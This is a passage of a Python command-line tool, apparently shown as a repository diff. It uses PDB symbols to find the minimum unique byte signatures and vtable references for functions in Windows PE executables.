"""Get the section that contains the given RVA."""
|
||||||
|
for name, info in self._section_cache.items():
|
||||||
|
if info['va'] <= rva < info['va'] + info['size']:
|
||||||
|
return (name, info)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_bytes_at_rva(self, rva: int, size: int) -> Optional[bytes]:
|
||||||
|
"""Get bytes at a given RVA."""
|
||||||
|
try:
|
||||||
|
return self.pe.get_data(rva, size)
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_pattern_in_section(self, pattern: bytes, section_name: str) -> List[int]:
|
||||||
|
"""Find all occurrences of a pattern in specified section, return RVAs."""
|
||||||
|
if section_name not in self._section_cache:
|
||||||
|
return []
|
||||||
|
|
||||||
|
info = self._section_cache[section_name]
|
||||||
|
data = info['data']
|
||||||
|
base_va = info['va']
|
||||||
|
|
||||||
|
matches = []
|
||||||
|
start = 0
|
||||||
|
while True:
|
||||||
|
pos = data.find(pattern, start)
|
||||||
|
if pos == -1:
|
||||||
|
break
|
||||||
|
rva = base_va + pos
|
||||||
|
matches.append(rva)
|
||||||
|
start = pos + 1
|
||||||
|
|
||||||
|
return matches
|
||||||
|
|
||||||
|
def find_pattern_all_sections(self, pattern: bytes) -> List[Tuple[str, int]]:
|
||||||
|
"""Find all occurrences of a pattern in all sections, return (section, RVA) pairs."""
|
||||||
|
all_matches = []
|
||||||
|
for name, info in self._section_cache.items():
|
||||||
|
data = info['data']
|
||||||
|
base_va = info['va']
|
||||||
|
start = 0
|
||||||
|
while True:
|
||||||
|
pos = data.find(pattern, start)
|
||||||
|
if pos == -1:
|
||||||
|
break
|
||||||
|
rva = base_va + pos
|
||||||
|
all_matches.append((name, rva))
|
||||||
|
start = pos + 1
|
||||||
|
return all_matches
|
||||||
|
|
||||||
|
def find_minimum_unique_signature(self, rva: int) -> Tuple[Optional[bytes], int, int, str]:
|
||||||
|
"""
|
||||||
|
Find the minimum unique byte signature for a symbol at the given RVA.
|
||||||
|
Searches the section containing the RVA.
|
||||||
|
Returns: (signature_bytes, length, match_count, section_name)
|
||||||
|
"""
|
||||||
|
# Find which section this RVA belongs to
|
||||||
|
section_info = self._get_section_for_rva(rva)
|
||||||
|
if section_info is None:
|
||||||
|
return None, 0, 0, ""
|
||||||
|
|
||||||
|
section_name, info = section_info
|
||||||
|
|
||||||
|
# Get enough bytes to work with
|
||||||
|
func_bytes = self.get_bytes_at_rva(rva, self.MAX_SIG_LENGTH)
|
||||||
|
if func_bytes is None or len(func_bytes) < self.MIN_SIG_LENGTH:
|
||||||
|
return None, 0, 0, section_name
|
||||||
|
|
||||||
|
# Incrementally increase pattern length until unique
|
||||||
|
for length in range(self.MIN_SIG_LENGTH, min(len(func_bytes), self.MAX_SIG_LENGTH) + 1):
|
||||||
|
pattern = func_bytes[:length]
|
||||||
|
matches = self.find_pattern_in_section(pattern, section_name)
|
||||||
|
|
||||||
|
if len(matches) == 1:
|
||||||
|
return pattern, length, 1, section_name
|
||||||
|
elif len(matches) == 0:
|
||||||
|
return pattern, length, 0, section_name
|
||||||
|
|
||||||
|
# No unique signature found within max length
|
||||||
|
pattern = func_bytes[:self.MAX_SIG_LENGTH]
|
||||||
|
matches = self.find_pattern_in_section(pattern, section_name)
|
||||||
|
return pattern, self.MAX_SIG_LENGTH, len(matches), section_name
|
||||||
|
|
||||||
|
def find_vtable_references(self, rva: int) -> List[int]:
|
||||||
|
"""
|
||||||
|
Find vtable entries in .rdata that point to this function's RVA.
|
||||||
|
Returns list of RVAs where references were found.
|
||||||
|
"""
|
||||||
|
if '.rdata' not in self._section_cache:
|
||||||
|
return []
|
||||||
|
|
||||||
|
rdata_info = self._section_cache['.rdata']
|
||||||
|
data = rdata_info['data']
|
||||||
|
base_va = rdata_info['va']
|
||||||
|
|
||||||
|
references = []
|
||||||
|
|
||||||
|
# Determine pointer size based on PE type
|
||||||
|
is_64bit = self.pe.FILE_HEADER.Machine == 0x8664
|
||||||
|
ptr_size = 8 if is_64bit else 4
|
||||||
|
ptr_format = '<Q' if is_64bit else '<I'
|
||||||
|
|
||||||
|
# Calculate the VA we're looking for
|
||||||
|
target_va = self.image_base + rva
|
||||||
|
|
||||||
|
# Scan through .rdata looking for pointers to our function
|
||||||
|
for offset in range(0, len(data) - ptr_size + 1, ptr_size):
|
||||||
|
try:
|
||||||
|
ptr_value = struct.unpack(ptr_format, data[offset:offset + ptr_size])[0]
|
||||||
|
if ptr_value == target_va:
|
||||||
|
ref_rva = base_va + offset
|
||||||
|
references.append(ref_rva)
|
||||||
|
except struct.error:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return references
|
||||||
|
|
||||||
|
|
||||||
|
def format_bytes(data: bytes) -> str:
|
||||||
|
"""Format bytes as hex string."""
|
||||||
|
return ' '.join(f'{b:02X}' for b in data)
|
||||||
|
|
||||||
|
|
||||||
|
def analyze_symbols(pe_path: str, pdb_path: str, pattern: str,
|
||||||
|
min_sig: int = 8, max_sig: int = 64,
|
||||||
|
verbose: bool = False) -> Iterator[SignatureResult]:
|
||||||
|
"""
|
||||||
|
Main analysis function.
|
||||||
|
Yields SignatureResult for each matching symbol.
|
||||||
|
"""
|
||||||
|
# Load PE file
|
||||||
|
try:
|
||||||
|
pe_analyzer = PEAnalyzer(pe_path)
|
||||||
|
pe_analyzer.MIN_SIG_LENGTH = min_sig
|
||||||
|
pe_analyzer.MAX_SIG_LENGTH = max_sig
|
||||||
|
except Exception as e:
|
||||||
|
yield SignatureResult(
|
||||||
|
symbol=SymbolInfo(name="", rva=0),
|
||||||
|
error=f"Failed to load PE file: {e}"
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
# Parse PDB
|
||||||
|
try:
|
||||||
|
pdb_parser = PDBParser(pdb_path, pe_analyzer.pe, verbose=verbose)
|
||||||
|
except Exception as e:
|
||||||
|
yield SignatureResult(
|
||||||
|
symbol=SymbolInfo(name="", rva=0),
|
||||||
|
error=f"Failed to parse PDB file: {e}"
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
if not pdb_parser.symbols:
|
||||||
|
yield SignatureResult(
|
||||||
|
symbol=SymbolInfo(name="", rva=0),
|
||||||
|
error="No symbols found in PDB"
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
# Find matching symbols
|
||||||
|
matches = pdb_parser.find_symbols(pattern)
|
||||||
|
|
||||||
|
if not matches:
|
||||||
|
yield SignatureResult(
|
||||||
|
symbol=SymbolInfo(name=pattern, rva=0),
|
||||||
|
error=f"No symbols found matching pattern: {pattern}"
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"Found {len(matches)} symbol(s) matching pattern '{pattern}'\n", file=sys.stderr)
|
||||||
|
|
||||||
|
# Analyze each matching symbol
|
||||||
|
for sym in matches:
|
||||||
|
sig_bytes, sig_len, match_count, section = pe_analyzer.find_minimum_unique_signature(sym.rva)
|
||||||
|
vtable_refs = pe_analyzer.find_vtable_references(sym.rva)
|
||||||
|
|
||||||
|
error = None
|
||||||
|
if sig_bytes is None:
|
||||||
|
error = "Could not read bytes at RVA"
|
||||||
|
elif match_count > 1:
|
||||||
|
error = f"Warning: No unique signature found within {max_sig} bytes ({match_count} matches)"
|
||||||
|
elif match_count == 0:
|
||||||
|
error = f"Warning: Pattern not found in {section or 'any'} section (RVA may be invalid)"
|
||||||
|
|
||||||
|
yield SignatureResult(
|
||||||
|
symbol=sym,
|
||||||
|
signature=sig_bytes,
|
||||||
|
signature_length=sig_len,
|
||||||
|
section=section,
|
||||||
|
match_count=match_count,
|
||||||
|
vtable_refs=vtable_refs,
|
||||||
|
error=error
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def print_result(result: SignatureResult):
|
||||||
|
"""Print a single result in a clean, parseable format."""
|
||||||
|
print("-" * 60)
|
||||||
|
|
||||||
|
# Symbol name (both mangled and demangled if different)
|
||||||
|
demangled = demangle_symbol(result.symbol.name)
|
||||||
|
if demangled != result.symbol.name:
|
||||||
|
print(f"Symbol: {demangled}")
|
||||||
|
print(f"Mangled: {result.symbol.name}")
|
||||||
|
else:
|
||||||
|
print(f"Symbol: {result.symbol.name}")
|
||||||
|
|
||||||
|
print(f"RVA: 0x{result.symbol.rva:08X}")
|
||||||
|
if result.section:
|
||||||
|
print(f"Section: {result.section}")
|
||||||
|
|
||||||
|
if result.symbol.size > 0:
|
||||||
|
print(f"Size: {result.symbol.size} bytes")
|
||||||
|
|
||||||
|
if result.error and result.signature is None:
|
||||||
|
print(f"Error: {result.error}")
|
||||||
|
else:
|
||||||
|
if result.signature:
|
||||||
|
sig_str = format_bytes(result.signature)
|
||||||
|
if result.match_count == 1:
|
||||||
|
print(f"Minimum Signature ({result.signature_length} bytes): {sig_str}")
|
||||||
|
else:
|
||||||
|
print(f"Signature ({result.signature_length} bytes, {result.match_count} matches): {sig_str}")
|
||||||
|
|
||||||
|
if result.error:
|
||||||
|
print(f"Note: {result.error}")
|
||||||
|
|
||||||
|
if result.vtable_refs:
|
||||||
|
print(f"VTable References ({len(result.vtable_refs)}):")
|
||||||
|
for ref_rva in result.vtable_refs:
|
||||||
|
print(f" 0x{ref_rva:08X}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description='Find minimum unique signatures for functions in PE files using PDB symbols.',
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog='''
|
||||||
|
Examples:
|
||||||
|
%(prog)s app.exe app.pdb "*::MyClass::*"
|
||||||
|
%(prog)s app.exe app.pdb "?Init@*"
|
||||||
|
%(prog)s app.exe app.pdb "??_7*@@6B@" (vtable pattern)
|
||||||
|
|
||||||
|
Pattern Syntax:
|
||||||
|
* matches everything
|
||||||
|
? matches any single character
|
||||||
|
[seq] matches any character in seq
|
||||||
|
[!seq] matches any character not in seq
|
||||||
|
'''
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.add_argument('pe_file', help='Path to the PE file (.exe or .dll)')
|
||||||
|
parser.add_argument('pdb_file', help='Path to the PDB file')
|
||||||
|
parser.add_argument('pattern', help='Symbol pattern (supports wildcards)')
|
||||||
|
parser.add_argument('-v', '--verbose', action='store_true',
|
||||||
|
help='Enable verbose output')
|
||||||
|
parser.add_argument('--min-sig', type=int, default=8,
|
||||||
|
help='Minimum signature length (default: 8)')
|
||||||
|
parser.add_argument('--max-sig', type=int, default=64,
|
||||||
|
help='Maximum signature length (default: 64)')
|
||||||
|
parser.add_argument('--list-symbols', action='store_true',
|
||||||
|
help='List all symbols without signature analysis')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Validate files exist
|
||||||
|
if not Path(args.pe_file).exists():
|
||||||
|
print(f"Error: PE file not found: {args.pe_file}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if not Path(args.pdb_file).exists():
|
||||||
|
print(f"Error: PDB file not found: {args.pdb_file}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"Analyzing: {args.pe_file}")
|
||||||
|
print(f"PDB: {args.pdb_file}")
|
||||||
|
print(f"Pattern: {args.pattern}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.list_symbols:
|
||||||
|
# Just list matching symbols
|
||||||
|
try:
|
||||||
|
pe = pefile.PE(args.pe_file)
|
||||||
|
pdb_parser = PDBParser(args.pdb_file, pe, verbose=args.verbose)
|
||||||
|
matches = pdb_parser.find_symbols(args.pattern)
|
||||||
|
print(f"Found {len(matches)} matching symbol(s):\n")
|
||||||
|
for sym in matches:
|
||||||
|
demangled = demangle_symbol(sym.name)
|
||||||
|
if demangled != sym.name:
|
||||||
|
print(f"0x{sym.rva:08X}: {demangled}")
|
||||||
|
print(f" {sym.name}")
|
||||||
|
else:
|
||||||
|
print(f"0x{sym.rva:08X}: {sym.name}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error: {e}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
return
|
||||||
|
|
||||||
|
# Run full analysis
|
||||||
|
results = list(analyze_symbols(
|
||||||
|
args.pe_file, args.pdb_file, args.pattern,
|
||||||
|
min_sig=args.min_sig, max_sig=args.max_sig,
|
||||||
|
verbose=args.verbose
|
||||||
|
))
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
print_result(result)
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
successful = sum(1 for r in results if r.signature is not None and r.match_count == 1)
|
||||||
|
total = len(results)
|
||||||
|
print("=" * 60)
|
||||||
|
print(f"Summary: {successful}/{total} symbols with unique signatures found")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user